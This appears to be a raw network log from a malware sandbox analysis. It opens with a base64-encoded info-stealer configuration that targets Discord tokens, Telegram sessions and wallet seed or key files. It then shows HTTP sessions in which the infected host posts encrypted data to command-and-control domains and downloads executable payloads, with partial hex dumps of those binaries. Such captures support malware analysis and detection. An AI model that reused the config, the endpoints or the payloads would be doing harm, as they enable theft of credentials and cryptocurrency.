MXwxfDF8MXwxfERpc2NvcmR8MHwlQVBQREFUQSVcZGlzY29yZFxMb2NhbCBTdG9yYWdlXHwqfDF8MHwwfFRlbGVncmFtfDB8JUFQUERBVEElXFRlbGVncmFtIERlc2t0b3BcdGRhdGFcfCpEODc3Rjc4M0Q1RDNFRjhDKiwqbWFwKiwqY29uZmlncyp8MXwwfDB8RGVza3RvcHw1MDAwfCVERVNLVE9QJVx8Ki50eHQsKi5wZGYsKi5rZXksKnNlZWQqLCouZG9jLCouZG9jeCwqLnhscywqLnhsc3h8MHwxfDB8VXNlcnw1MDAwfCVVU0VSUFJPRklMRSVcfCoudHh0LCoucGRmLCoua2V5LCpzZWVkKiwqLmRvYywqLmRvY3gsKi54bHMsKi54bHN4fDB8MXwwfERvd25sb2Fkc3w1MDAwfCVVU0VSUFJPRklMRSVcRG93bmxvYWRzXHwqLnR4dCwqLnBkZiwqLmtleSwqc2VlZCosKi5kb2MsKi5kb2N4LCoueGxzLCoueGxzeHwwfDF8MHxVU1IgQ09OfDUwMDB8JVVTRVJQUk9GSUxFJVwuY29uZmlnXHwqLnR4dCwqLnBkZiwqLmtleSwqc2VlZCosKi5kb2MsKi5kb2N4LCoueGxzLCoueGxzeHwwfDF8MHxkb2N1bXw1MDAwfCVVU0VSUFJPRklMRSVcRG9jdW1lbnRzXHwqLnR4dCwqLnBkZiwqLmtleSwqc2VlZCosKi5kb2MsKi5kb2N4LCoueGxzLCoueGxzeHwwfDF8MHx2aWRlb3w1MDAwfCVVU0VSUFJPRklMRSVcVmlkZW9zXHwqLnR4dCwqLnBkZiwqLmtleSwqc2VlZCosKi5kb2MsKi5kb2N4LCoueGxzLCoueGxzeHwwfDF8MHw=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.4	49779	198.11.172.78	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jan 6, 2022 21:03:45.326939106 CET	1163	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://wyuwpmdb.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 115 Host: host-data-coin-11.com
Jan 6, 2022 21:03:45.332732916 CET	1164	OUT	Data Raw: 10 87 81 98 19 f8 a1 b7 cc 38 76 3a 0d c2 e4 8e 31 10 ac 43 a2 40 6f 98 bd 9a ac fe ff a3 91 f7 68 b7 58 a7 10 1f bf e0 e0 ab f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de 9e 66 5d 02 c8 a1 c1 64 2e a0 80 78 Data Ascii: 8v:1C@ohXwmDu$f]d.xAa'Dg&-E9NLC
Jan 6, 2022 21:03:45.884124994 CET	1165	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 06 Jan 2022 20:03:45 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
50	192.168.2.4	49860	198.11.172.78	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jan 6, 2022 21:04:58.698632002 CET	5328	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://vejpuk.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 355 Host: host-data-coin-11.com
Jan 6, 2022 21:04:58.698648930 CET	5329	OUT	Data Raw: 10 87 81 98 19 f8 a1 b7 cc 38 76 3a 0d c2 e4 8e 31 10 ac 43 a2 40 6f 98 bd 9a ac fe ff a3 91 f7 68 b7 58 a7 10 1f bf e0 e0 ab f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de 83 66 5d 02 c8 a1 c1 64 27 9d c5 32 Data Ascii: 8v:1C@ohXwmDu$f]d'23]){yE_,S&@i[b9L--0^#BC?myzYb=4(+;cu8@^c;pf4.K6oMlm~P%^>R6R5F9
Jan 6, 2022 21:04:59.250005007 CET	5331	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Thu, 06 Jan 2022 20:04:59 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 32 32 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad 9f 1c 4f 8e 85 4f 13 25 1e e9 e9 df b7 82 16 95 2d ec 0d 0a 30 0d 0a 0d 0a Data Ascii: 22I:82OO%-0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
51	192.168.2.4	49864	198.11.172.78	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jan 6, 2022 21:04:59.875087976 CET	5350	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://psonfttwmv.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 357 Host: host-data-coin-11.com
Jan 6, 2022 21:04:59.875144005 CET	5351	OUT	Data Raw: 10 87 81 98 19 f8 a1 b7 cc 38 76 3a 0d c2 e4 8e 31 10 ac 43 a2 40 6f 98 bd 9a ac fe ff a3 91 f7 68 b7 58 a7 10 1f bf e0 e0 ab f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de 80 66 5d 02 c8 a1 c1 64 22 cc d4 28 Data Ascii: 8v:1C@ohXwmDu$f]d"(@6BHs}dJeWz]F:.hgE+;S!KH`>KZNYE[$%40_}!;I:0j`*DY(HkT\|]l(V%m+})~%O8
Jan 6, 2022 21:05:00.431849003 CET	5351	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Thu, 06 Jan 2022 20:05:00 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 34 35 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c5 86 52 06 26 1a ff b5 98 ff a9 1e ad 12 93 3a f9 55 50 99 4a f7 e0 25 e5 39 1a 46 e9 a1 88 70 bc 57 dd 43 d7 fd 24 84 27 ed c3 97 55 2a f8 e3 00 7e 0d 0a 30 0d 0a 0d 0a Data Ascii: 45I:82OR&:UPJ%9FpWC$'U*~0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
52	192.168.2.4	49865	198.11.172.78	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jan 6, 2022 21:05:00.649473906 CET	5352	OUT	GET /files/8584_1641133152_551.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: data-host-coin-8.com
Jan 6, 2022 21:05:01.200370073 CET	5353	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 06 Jan 2022 20:05:01 GMT Content-Type: application/x-msdos-program Content-Length: 760832 Connection: close Last-Modified: Sun, 02 Jan 2022 14:19:12 GMT ETag: "b9c00-5d49a1695789b" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 7a 38 7e 52 3e 59 10 01 3e 59 10 01 3e 59 10 01 20 0b 85 01 2c 59 10 01 20 0b 93 01 46 59 10 01 19 9f 6b 01 3b 59 10 01 3e 59 11 01 80 59 10 01 20 0b 94 01 7e 59 10 01 20 0b 84 01 3f 59 10 01 20 0b 81 01 3f 59 10 01 52 69 63 68 3e 59 10 01 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 95 2e e4 60 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 09 00 00 6c 0a 00 00 3c 02 00 00 00 00 00 80 67 08 00 00 10 00 00 00 80 0a 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 50 48 00 00 04 00 00 65 d4 0b 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 24 6a 0a 00 3c 00 00 00 00 30 0c 00 b0 59 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 48 00 00 23 00 00 40 13 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 98 a3 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 cc 6a 0a 00 00 10 00 00 00 6c 0a 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 68 9a 01 00 00 80 0a 00 00 8c 00 00 00 70 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 6a 6f 68 61 63 00 00 05 00 00 00 00 20 0c 00 00 02 00 00 00 fc 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 c9 3b 00 00 30 0c 00 00 5a 00 00 00 fe 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 74 42 00 00 00 00 48 00 00 44 00 00 00 58 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c6 75 0a 00 00 00 00 00 54 6d 0a 00 6a 6d 0a 00 7a 6d 0a 00 8a 6d 0a 00 a6 6d 0a 00 ba 6d 0a 00 ce 6d 0a 00 de 6d 0a 00 f8 6d 0a 00 12 6e 0a 00 2a 6e 0a 00 3e Data Ascii: MZ@!L!This program cannot be run in DOS mode.$z8~R>Y>Y>Y ,Y FYk;Y>YY ~Y ?Y ?YRich>YPEL.`l<g@PHe$j<0YH#@@.textjl `.datahp@.johac @.rsrc;0Z@@.reloctBHDX@BuTmjmzmmmmmmmn*n>
Jan 6, 2022 21:05:01.200438976 CET	5355	IN	Data Raw: 6e 0a 00 4a 6e 0a 00 58 6e 0a 00 70 6e 0a 00 7e 6e 0a 00 a0 6e 0a 00 ac 6e 0a 00 bc 6e 0a 00 d8 6e 0a 00 f0 6e 0a 00 0c 6f 0a 00 1e 6f 0a 00 2e 6f 0a 00 3c 6f 0a 00 4c 6f 0a 00 5a 6f 0a 00 6c 6f 0a 00 82 6f 0a 00 96 6f 0a 00 a4 6f 0a 00 b4 6f 0a Data Ascii: nJnXnpn~nnnnnnoo.o<oLoZoloooooooop p6pFp^pzpppppppqqq.qBq\qhqBmqqqqqqr r6rJr^rrrrrrrr
Jan 6, 2022 21:05:01.200500011 CET	5356	IN	Data Raw: 00 72 00 6f 00 77 00 75 00 6e 00 61 00 63 00 65 00 66 00 6f 00 78 00 75 00 76 00 00 00 76 6f 63 61 63 65 73 6f 79 6f 67 6f 74 6f 73 6f 6e 00 00 00 78 00 6f 00 6e 00 75 00 72 00 6f 00 6d 00 75 00 6a 00 6f 00 79 00 75 00 67 00 69 00 6c 00 65 00 6d Data Ascii: rowunacefoxuvvocacesoyogotosonxonuromujoyugilemidunudasuviwebvefedaruyakocafojohimadihayunapejerihacumamenimotonanojememFiludujovavaYisidabYukohekoyupilu kojifer lobiyifitodayif wuz
Jan 6, 2022 21:05:01.200596094 CET	5357	IN	Data Raw: 00 63 00 74 00 79 00 70 00 65 00 3c 00 77 00 63 00 68 00 61 00 72 00 5f 00 74 00 3e 00 3a 00 3a 00 5f 00 44 00 6f 00 5f 00 77 00 69 00 64 00 65 00 6e 00 5f 00 73 00 00 00 00 00 00 00 00 00 28 00 22 00 5f 00 44 00 65 00 73 00 74 00 5f 00 73 00 69 Data Ascii: ctype<wchar_t>::_Do_widen_s("_Dest_size >= (size_t)(_Last - _First)", 0)C:\Program Files (x86)\Microsoft Visual St
Jan 6, 2022 21:05:01.200654030 CET	5359	IN	Data Raw: 00 75 00 6e 00 63 00 28 00 6c 00 6f 00 63 00 61 00 6c 00 65 00 29 00 20 00 3d 00 3d 00 20 00 32 00 00 00 00 00 66 3a 5c 64 64 5c 76 63 74 6f 6f 6c 73 5c 63 72 74 5f 62 6c 64 5c 73 65 6c 66 5f 78 38 36 5c 63 72 74 5c 73 72 63 5c 78 6d 62 74 6f 77 Data Ascii: unc(locale) == 2f:\dd\vctools\crt_bld\self_x86\crt\src\xmbtowc.cf:\dd\vctools\crt_bld\self_x86\crt\src\xmutex.cppstring too long@@>H=H@=H=Hinvalid string position@?H=H(count == 0
Jan 6, 2022 21:05:01.200737000 CET	5360	IN	Data Raw: 00 64 00 64 00 5c 00 76 00 63 00 74 00 6f 00 6f 00 6c 00 73 00 5c 00 63 00 72 00 74 00 5f 00 62 00 6c 00 64 00 5c 00 73 00 65 00 6c 00 66 00 5f 00 78 00 38 00 36 00 5c 00 63 00 72 00 74 00 5c 00 73 00 72 00 63 00 5c 00 64 00 62 00 67 00 72 00 70 Data Ascii: dd\vctools\crt_bld\self_x86\crt\src\dbgrpt.cMicrosoft Visual C++ Debug Library_CrtDbgReport: String too long or IO Err
Jan 6, 2022 21:05:01.200792074 CET	5361	IN	Data Raw: 00 69 00 62 00 61 00 73 00 65 00 20 00 3d 00 3d 00 20 00 30 00 20 00 7c 00 7c 00 20 00 28 00 32 00 20 00 3c 00 3d 00 20 00 69 00 62 00 61 00 73 00 65 00 20 00 26 00 26 00 20 00 69 00 62 00 61 00 73 00 65 00 20 00 3c 00 3d 00 20 00 33 00 36 00 29 Data Ascii: ibase == 0 \|\| (2 <= ibase && ibase <= 36)strtoxqf:\dd\vctools\crt_bld\self_x86\crt\src\strtoq.cnptr != NULLf:\dd\vctools\
Jan 6, 2022 21:05:01.200911045 CET	5363	IN	Data Raw: 00 02 00 02 00 02 00 02 00 02 00 02 00 02 00 02 00 02 00 02 00 02 00 02 00 02 00 02 00 10 00 10 00 10 00 10 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 6, 2022 21:05:01.200967073 CET	5364	IN	Data Raw: 0b 0c 0d 0e 0f 10 11 12 13 14 15 16 17 18 19 1a 1b 1c 1d 1e 1f 20 21 22 23 24 25 26 27 28 29 2a 2b 2c 2d 2e 2f 30 31 32 33 34 35 36 37 38 39 3a 3b 3c 3d 3e 3f 40 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 51 52 53 54 55 56 57 58 59 5a 5b 5c Data Ascii: !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{\|}~
Jan 6, 2022 21:05:01.201050043 CET	5366	IN	Data Raw: 00 00 00 5f 00 43 00 72 00 74 00 49 00 73 00 56 00 61 00 6c 00 69 00 64 00 48 00 65 00 61 00 70 00 50 00 6f 00 69 00 6e 00 74 00 65 00 72 00 28 00 70 00 55 00 73 00 65 00 72 00 44 00 61 00 74 00 61 00 29 00 00 00 00 00 00 00 54 68 65 20 42 6c 6f Data Ascii: _CrtIsValidHeapPointer(pUserData)The Block at 0x%p was allocated by aligned routines, use _aligned_realloc()Error: memory allocation: bad memory block type.Memory allocated at %hs(%d).Invalid
Jan 6, 2022 21:05:01.380408049 CET	5366	IN	Data Raw: 65 20 66 61 69 6c 75 72 65 2e 0a 00 00 00 00 00 00 54 68 65 20 42 6c 6f 63 6b 20 61 74 20 30 78 25 70 20 77 61 73 20 61 6c 6c 6f 63 61 74 65 64 20 62 79 20 61 6c 69 67 6e 65 64 20 72 6f 75 74 69 6e 65 73 2c 20 75 73 65 20 5f 61 6c 69 67 6e 65 64 Data Ascii: e failure.The Block at 0x%p was allocated by aligned routines, use _aligned_free()_msize_dbg%hs located at 0x%p is %Iu bytes long.%hs located at 0x%p is %Iu bytes long.Memory allocated at %hs(%d).HEAP CORRU

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
53	192.168.2.4	49866	185.7.214.239	80

Timestamp	kBytes transferred	Direction	Data
Jan 6, 2022 21:05:04.500634909 CET	6143	OUT	GET /sqlite3.dll HTTP/1.1 Host: 185.7.214.239 Cache-Control: no-cache Cookie: PHPSESSID=24vdtkpnp2sj4dfg4mi5b23qc2
Jan 6, 2022 21:05:04.560116053 CET	6145	IN	HTTP/1.1 200 OK Date: Thu, 06 Jan 2022 20:05:04 GMT Server: Apache/2.4.18 (Ubuntu) Last-Modified: Wed, 29 Dec 2021 18:27:40 GMT ETag: "9d9d8-5d44d17c6d03f" Accept-Ranges: bytes Content-Length: 645592 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 13 00 ea 98 3d 53 00 76 08 00 3f 0c 00 00 e0 00 06 21 0b 01 02 15 00 d0 06 00 00 e0 07 00 00 06 00 00 58 10 00 00 00 10 00 00 00 e0 06 00 00 00 90 60 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 20 09 00 00 06 00 00 38 c3 0a 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 b0 07 00 98 19 00 00 00 d0 07 00 4c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 00 fc 27 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 07 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ac d1 07 00 70 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 c0 ce 06 00 00 10 00 00 00 d0 06 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 30 60 2e 64 61 74 61 00 00 00 b0 0f 00 00 00 e0 06 00 00 10 00 00 00 d6 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 c0 2e 72 64 61 74 61 00 00 24 ad 00 00 00 f0 06 00 00 ae 00 00 00 e6 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 40 2e 62 73 73 00 00 00 00 98 04 00 00 00 a0 07 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 40 c0 2e 65 64 61 74 61 00 00 98 19 00 00 00 b0 07 00 00 1a 00 00 00 94 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 4c 0a 00 00 00 d0 07 00 00 0c 00 00 00 ae 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 18 00 00 00 00 e0 07 00 00 02 00 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 f0 07 00 00 02 00 00 00 bc 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 fc 27 00 00 00 00 08 00 00 28 00 00 00 be 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 60 01 00 00 00 30 08 00 00 02 00 00 00 e6 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 c8 03 00 00 00 40 08 00 00 04 00 00 00 e8 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 35 00 00 00 00 00 4d 06 00 00 00 50 08 00 00 08 00 00 00 ec 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 35 31 00 00 00 00 00 60 43 00 00 00 60 08 00 00 44 00 00 00 f4 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 36 33 00 00 00 00 00 84 0d 00 00 00 b0 08 00 00 0e 00 00 00 38 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 37 37 00 00 00 00 00 94 0b 00 00 00 c0 08 00 00 0c 00 00 00 46 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 39 00 00 00 00 00 04 05 00 00 00 d0 08 00 00 06 00 00 00 52 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 31 30 32 00 00 00 00 0d 01 00 00 00 e0 08 00 00 02 00 00 00 58 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 31 31 33 00 00 00 00 db 19 00 00 00 f0 08 00 00 1a 00 00 00 5a 08 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL=Sv?!X` 8 L'p.text`0`.data@@.rdata$@@@.bss@.edata@0@.idataL@0.CRT@0.tls @0.reloc'(@0B/4`0@@B/19@@B/35MP@B/51`C`D@B/638@B/77F@B/89R@0B/102X@B/113Z
Jan 6, 2022 21:05:04.560146093 CET	6146	IN	Data Raw: 00 00 00 00 00 00 40 00 10 42 2f 31 32 34 00 00 00 00 b0 01 00 00 00 10 09 00 00 02 00 00 00 74 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: @B/124t@B
Jan 6, 2022 21:05:04.560538054 CET	6147	IN	Data Raw: c6 41 2b 00 83 c4 2c 5b 5e 5f c9 c3 55 89 e5 57 56 53 83 ec 2c 89 c3 80 78 28 00 0f 85 10 01 00 00 80 78 2a 00 75 1a c7 40 08 d0 07 00 00 c7 40 0c 01 00 00 00 c7 40 10 01 00 00 00 e9 ec 00 00 00 8b 00 8b 53 04 05 00 2e 93 02 83 d2 00 c7 44 24 08 Data Ascii: A+,[^_UWVS,x(x*u@@@S.D$\&D$$T$`P,$5`}fUfUm]mE)`$,$5`m]muid)`$<$m]mE$
Jan 6, 2022 21:05:04.560565948 CET	6149	IN	Data Raw: 55 e4 e8 21 ff ff ff 89 1d 28 a2 97 60 8b 55 e4 89 15 2c a2 97 60 89 35 20 a2 97 60 89 3d 24 a2 97 60 8b 15 40 a2 97 60 83 ff 00 7c 1b 7f 05 83 fe 00 76 14 89 d3 c1 fb 1f b8 01 00 00 00 39 df 7c 08 7f 04 39 d6 76 02 31 c0 a3 3c a2 97 60 a1 18 a2 Data Ascii: U!(`U,`5 `=$`@`\|v9\|9v1<``$1,[^_UWVS,(`t^@`5,`(``$UM\|$UMT$L$4$`$[(`5,`,[^_U8`UW
Jan 6, 2022 21:05:04.560590029 CET	6150	IN	Data Raw: c1 fa 1f 89 55 dc 89 45 d0 99 89 55 d4 8b 15 20 a2 97 60 8b 0d 24 a2 97 60 2b 55 d0 1b 4d d4 39 4d dc 7c 0b 7f 04 39 d3 72 05 e8 fd fa ff ff 8b 45 e4 89 44 24 04 89 34 24 ff 15 34 e0 96 60 89 c3 85 c0 75 26 83 3d 28 a2 97 60 00 74 31 89 f8 e8 d7 Data Ascii: UEU `$`+UM9M\|9rED$4$4`u&=(`t1UT$4$4`t$4+E1`$ED$4$4`<[^_USta1{@umtP9~=u+
Jan 6, 2022 21:05:04.560614109 CET	6152	IN	Data Raw: 85 8b 00 00 00 01 cb bf 0a 00 00 00 eb 37 6b 75 d4 0a 8b 45 d0 f7 e7 89 45 a0 01 f2 89 55 a4 0f be 75 c4 83 ee 30 89 75 d0 89 f2 c1 fa 1f 89 55 d4 8b 45 a0 8b 55 a4 01 45 d0 11 55 d4 01 cb ff 45 c0 ff 4d cc 3b 5d c8 0f 83 de 00 00 00 8a 13 88 55 Data Ascii: 7kuEEUu0uUEUEUEM;]U}\|}wEB`uE;]B`u<Et<eub;]<-u<+u11!'kEt';]sE
Jan 6, 2022 21:05:04.560641050 CET	6153	IN	Data Raw: e5 57 56 53 83 ec 24 89 c1 89 55 e4 8a 00 3c 2d 75 08 41 bb 01 00 00 00 eb 0f 31 db 3c 2b 0f 94 c0 0f b6 c0 01 c1 eb 01 41 80 39 30 74 fa 31 f6 31 c0 31 d2 89 45 d8 89 55 dc 89 4d d4 eb 37 46 83 fe 0b 74 56 6b 45 dc 0a 89 45 e0 b8 0a 00 00 00 f7 Data Ascii: WVS$U<-uA1<+A90t111EUM7FtVkEEeEMU}EUMUMM<10x#~tu1$[^_EU]}+u}u}\|wUEtUE
Jan 6, 2022 21:05:04.560667992 CET	6154	IN	Data Raw: b8 ff ff ff 7f c9 c3 55 89 e5 56 53 66 39 d0 0f bf c8 0f bf da 7c 19 8d 53 31 39 d1 7f 31 8d 53 1f 39 d1 7f 1b 29 d9 0f b6 91 dc 81 97 60 eb 1c 8d 71 31 89 d0 39 f3 7f 16 8d 51 1f 39 d3 7e 03 40 eb 0c 29 cb 0f b6 93 dc 81 97 60 8d 04 02 5b 5e c9 Data Ascii: UVSf9\|S191S9)`q19Q9~@)`[^Uwv(.w1vQ(w2v+(w=wwwfN`UVS1fff
Jan 6, 2022 21:05:04.560702085 CET	6156	IN	Data Raw: e5 8b 50 1c 8b 0a 89 48 20 85 c9 74 05 89 41 24 eb 0a 80 7a 1c 00 74 04 c6 42 1d 01 89 02 83 7a 04 00 75 03 89 42 04 83 7a 08 00 75 09 f6 40 18 04 75 03 89 42 08 c9 c3 55 89 e5 83 ec 18 8b 50 1c 80 7a 1c 00 74 27 83 78 14 01 75 07 c7 42 2c 00 00 Data Ascii: PH tA$ztBzuBzu@uBUPzt'xuB,D$D$B($`USf@HfCfu$CHCuY[Z[SX[US@tCH{u@,D$T$@($`
Jan 6, 2022 21:05:04.560723066 CET	6157	IN	Data Raw: 03 89 04 24 e8 c3 df ff ff 8b 73 04 c7 43 04 00 00 00 00 89 d8 e8 cb fe ff ff 89 73 04 8b 03 89 45 08 83 c4 10 5b 5e c9 e9 cf df ff ff 83 c4 10 5b 5e c9 c3 55 89 e5 56 53 83 ec 10 8b 5d 08 8b 03 8b 00 89 04 24 e8 81 df ff ff 8b 73 24 8b 03 8b 00 Data Ascii: $sCsE[^[^UVS]$s$$[^UWVS,u]E>$EHEuG9Gv{GtXC__F CE,[^_*UWVS,]uE}$E
Jan 6, 2022 21:05:04.619322062 CET	6159	IN	Data Raw: 00 c7 43 60 00 00 00 00 c7 43 34 00 00 00 00 83 c4 10 5b 5e c9 c3 55 89 e5 0f b6 ca 83 f9 0a 74 05 83 f9 0d 75 07 89 50 28 c6 40 0f 06 89 d0 c9 c3 55 89 e5 83 ec 18 8b 10 8b 52 2c 85 d2 74 13 89 04 24 ff d2 89 c2 b8 00 02 00 00 83 fa 1f 7e 16 eb Data Ascii: C`C4[^UtuP(@UR,t$~~USxu@<tC<[[UVS@dpC*C\C`-[^UWVS<U

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
54	192.168.2.4	49867	198.11.172.78	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
